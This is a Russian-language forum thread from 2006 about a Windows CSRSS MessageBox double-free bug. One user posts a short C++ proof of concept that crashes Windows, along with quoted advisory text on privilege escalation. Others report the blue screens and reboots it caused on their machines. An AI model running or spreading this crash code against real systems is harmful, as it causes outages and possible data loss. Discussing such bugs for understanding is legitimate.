Модераторы: LSD
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> MessageBox от Microsoft 
:(
    Опции темы
SergeCpp
Дата 22.12.2006, 17:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


 
**


Профиль
Группа: Участник
Сообщений: 955
Регистрация: 8.8.2005
Где: At Home




Код
#include <Windows.h>

using namespace std;

void crush_windows()
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
  ::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}

}
int main(int argc, char *argv[])
{
    crush_windows();
    return EXIT_SUCCESS;
}


Подробности...

Также: Windows CSRSS HardError Message Box Vulnerability

Цитата
This vulnerability allows a logged on user to execute arbitrary code in the CSRSS.EXE process and elevate their privileges to SYSTEM level. The vulnerable code is present in Windows 2000, XP, 2003 and Vista


Источник информации

PM MAIL WWW ICQ   Вверх
mr.DUDA
Дата 22.12.2006, 18:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


3D-маньяк
****


Профиль
Группа: Экс. модератор
Сообщений: 8244
Регистрация: 27.7.2003
Где: город-герой Минск




Ужос.


--------------------
user posted image
PM MAIL WWW   Вверх
Ch0bits
Дата 22.12.2006, 19:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Python Dev.
****


Профиль
Группа: Завсегдатай
Сообщений: 2124
Регистрация: 21.2.2005
Где: Казань




Охренеть!   smile 
 smile  smile  smile 
PM WWW   Вверх
Gregorian
Дата 22.12.2006, 20:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 192
Регистрация: 18.12.2006




Объясните в двух словах, что означает вышеописанный код?  smile 
--------------------
Вступил на путь доморощенного жабиста дилетанта! 
PM MAIL   Вверх
SergeCpp
Дата 22.12.2006, 20:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


 
**


Профиль
Группа: Участник
Сообщений: 955
Регистрация: 8.8.2005
Где: At Home




Windows может или перезагружаться или ещё что... В зависимости от версии и установленных обновлений.

На Win2000 + SP4. Программа подвисает, при этом Task Manager в списке процессов ее не показывает.
Созданная при запуске консоль не закрывается никак. Однако, остальные приложения работают.

PM MAIL WWW ICQ   Вверх
VectorMan
Дата 22.12.2006, 21:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Antihero
*


Профиль
Группа: Участник
Сообщений: 110
Регистрация: 9.4.2006




Win XP SP2 + какие то обновления: синий экран  smile 
PM   Вверх
SergeCpp
Дата 22.12.2006, 21:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


 
**


Профиль
Группа: Участник
Сообщений: 955
Регистрация: 8.8.2005
Где: At Home




Цитата(Technical Details)
If the MB_SERVICE_NOTIFICATION flag is specified when calling the MessageBox function from the Windows API, it will use the NtRaiseHardError syscall to send a HardError message to CSRSS. This message contains the caption and text of a message box to be displayed by CSRSS on behalf of the caller. This functionality is designed to allow non-interactive services to notify the user of critical errors.

The HardError message is handled by the UserHardError function in WINSRV.DLL. It calls GetHardErrorText to read the message parameters from the address space of the sender. The GetHardErrorText function returns pointers to the caption and text of the message box. If the caption or text parameters start with the \??\ prefix, the function inexplicably frees the buffer and returns a pointer to freed memory. After the message box is closed by the user, the same buffer is freed again in the FreePhi function, resulting in a double free vulnerability.


PM MAIL WWW ICQ   Вверх
Дрон
Дата 22.12.2006, 23:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Java-ненавистник :)
****


Профиль
Группа: Участник Клуба
Сообщений: 3179
Регистрация: 29.12.2002
Где: Санкт-Петербург




Круто!  smile  smile  smile 

После закрытия четвёртого дилога -- синий экран и перезагрузка.
Windows XP SP2


--------------------
Да. Именно так.
PM   Вверх
Sun
Дата 25.12.2006, 10:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Account removed
***


Профиль
Группа: Экс. модератор
Сообщений: 1611
Регистрация: 14.8.2002




Прикольный баг  smile Мой Windows 2003 Enterprise Server пошел спать после третьего клика по кнопке  smile  Интересно что баг работает только с функцией MessageBoxA, а с MessageBoxW такого эффекта не наблюдается.


--------------------
Account removed
PM MAIL   Вверх
mr.DUDA
Дата 26.12.2006, 17:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


3D-маньяк
****


Профиль
Группа: Экс. модератор
Сообщений: 8244
Регистрация: 27.7.2003
Где: город-герой Минск




Цитата(Sun @  25.12.2006,  09:59 Найти цитируемый пост)
Интересно что баг работает только с функцией MessageBoxA, а с MessageBoxW такого эффекта не наблюдается.

Потому что в Unicode строка будет содержать совсем другие двоичные данные smile.


--------------------
user posted image
PM MAIL WWW   Вверх
SergeCpp
Дата 26.12.2006, 17:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


 
**


Профиль
Группа: Участник
Сообщений: 955
Регистрация: 8.8.2005
Где: At Home




MessageBoxA реализован через MessageBoxW, как и все аналогичные ANSI-версии функций Windows API (см. Рихтера и т.п.)
PM MAIL WWW ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила раздела «Флейм»
Sneg0k

Добро пожаловать в «Флейм».

В разделе не действуют многие правила:

  • Можно оффтопить(умеренно)
  • Можно общаться на темы, не только связанные с программированием.

Строго запрещено:

  • Размещать рекламу
  • Обсуждать политику
  • Оскорблять друг-друга и переходить на личности
  • Наезжать, провоцировать других участников форума
  • Материться
  • Троллить

Напоминаем о существовании волшебной кнопочки "Репорт". Если вы увидели сообщение, несовместимое с жизнью, просьба подвести на нее курсор и клацнуть левой клавишей мышки. Тем самым вы сможете призвать злого, но жутко справедливого джина-модератора, который нашлет порчу на злостного нарушителя. Кстати - счётчик сообщений здесь не растёт.


Глас Винграда:


Глас Философии:


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Sneg0k

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Флейм | Следующая тема »


 




[ Время генерации скрипта: 0.0494 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.